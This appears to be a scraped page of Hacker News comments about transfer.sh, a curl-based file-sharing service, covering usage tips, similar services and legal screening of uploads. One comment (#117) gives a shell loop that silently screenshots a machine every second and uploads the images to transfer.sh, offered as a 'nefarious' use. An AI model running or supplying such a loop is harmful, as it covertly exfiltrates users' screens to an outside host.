Live data from Hacker News

$ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

transfer.sh

111–120 of 125 posts

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#111
post #14

It'd be cool to have the ability to pipe stuff over the Internet from shell in real time like you would with SSH for instance. So I could do: A$ curl --upload-file - http://blah B$ curl http://blah/uYsfVX and see live stream of data on B.

Someone else in this thread mentioned chunk.io which offers this http://chunk.io/#stream_content_beta

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#112

Earlier quoted context omitted.

> How can you even test such a service legally? It's actually quite well designed and questions such as these were definitely taken into account during the design phase. I came up with a similar scheme about 15 years ago (as a result of operating that file sharing service) and proposed to the local LE that we set up a service where a 'fingerprint' of an image could be tested against known bad images, and if an image…

So basically (probability of legal entity being a good actor) x (size of legal entity) must be >= some large number. sigh, that's still less than ideal.

Agreed, but given the fact that this feeds into the legal system in a fairly direct way and that I'm only a 'one man shop' by their definition it makes good sense to insist on doing business with a larger party.

Where it goes haywire is that they then have to trust all the employees of that larger party as well but that's logic rather than CYA.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#113
Using lisp with drakma, the following function save under name some content.

* (defun save(name content) (multiple-value-bind (a b c) (http-request (format nil "https://transfer.sh/~a" name) :method :put :content (write-to-string content)) (list a b c)))

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#114

Earlier quoted context omitted.

So basically (probability of legal entity being a good actor) x (size of legal entity) must be >= some large number. sigh, that's still less than ideal.

Agreed, but given the fact that this feeds into the legal system in a fairly direct way and that I'm only a 'one man shop' by their definition it makes good sense to insist on doing business with a larger party. Where it goes haywire is that they then have to trust all the employees of that larger party as well but that's logic rather than CYA.

Yes, surprisingly I am more deeply concerned with the logic bit, lol

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#115
post #76

Haw. I made quite the same service, curl compliant and stuff except it encrypts the file on disk upon reception (creating an AES cipher, piping the file through it while receiving it) and sending back the id of the file and the key that allows decryption of said file. If anyone is interested there's plenty of documentation, even a client that allows to take screenshots and upload them on the fly. https://up.depado.eu…

I also made a similar service, mostly for my own needs so it's kinda spartan, I find it convenient for grabbing stuff off my clipboard and screenshots/captures:

http://paste.click/

It has a rudimentary android app as well.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#116
post #12

I might be unusual here, but I typically get stuck when trying to copy files off a remote Windows machine. Most recently was an aged Windows server with a version of internet explorer so old that all the modern file upload sites (e.g. https://file.io/ ) seemed to have JavaScript issues. Windows built in WebDAV support didn't work, because it's not installed on Windows server I think. Can anyone come up with a way to…

file.io has an API - you can just use curl for this

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#117

Idea where can such service be used for nefarious purposes: while true do dt=$(date '+%d%m%Y%H:%M:%S'); screencapture -x file$dt.png curl --upload-file ./file$dt.png https://transfer.sh/66nb8/capture$dt.png rm file$dt.png sleep 1 done

If you can get that script to run on a user's machine, they're hosed whether or not this service exists. Curl or mail to an endpoint in the attacker's control would be equally effective.

Sorry, I did not intend to discount this service in any way. More like showing a practical use.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#118
post #7

What's the advantage of doing this instead of just using SCP or SFTP?

With SFTP and SCP you need to run a daemon on the hosting machine, and create credentials for the other user to login so it's a bunch of extra steps. For a lot of people with firewalls and no root / admin access, it becomes a major pain.

It's kinda funny that everything runs on port 80/443 now a days because of this.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#119

FYI The "-X PUT" argument is not doing what you think it is[1], and is superfluous since you're using "--upload-file". You almost never really want "-X". [1]: https://curl.haxx.se/docs/manpage.html#-X

Just to clarify your point, --upload-file with a trailing slash results in a POST and without a trailing slash it results in a PUT.
Post reply on HN